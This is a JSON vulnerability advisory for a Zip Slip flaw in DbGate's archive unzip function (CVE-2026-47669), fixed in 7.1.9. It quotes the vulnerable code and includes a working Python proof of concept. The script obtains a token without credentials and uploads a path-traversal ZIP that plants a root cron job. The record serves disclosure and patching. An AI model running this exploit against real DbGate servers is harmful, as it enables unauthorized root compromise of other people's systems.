{"id":"CVE-2026-47669","aliases":["GHSA-h535-j5hr-mv56"],"url":"https://o3.security/vulnerability/CVE-2026-47669","summary":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","details":"The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as zf:\n    zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n                \"* * * * * root id > /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n                  files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n              json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n              json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.","published":"2026-07-23T19:13:15.469Z","modified":"2026-08-12T03:51:28.384924577Z","cvss":null,"epss":{"score":0.00344,"percentile":0.27339,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"dbgate","fixedVersion":"7.1.9"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/dbgate/dbgate/releases/tag/v7.1.9"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47669.json"},{"type":"ADVISORY","url":"https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47669"},{"type":"PACKAGE","url":"https://github.com/dbgate/dbgate"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.384924577Z"}}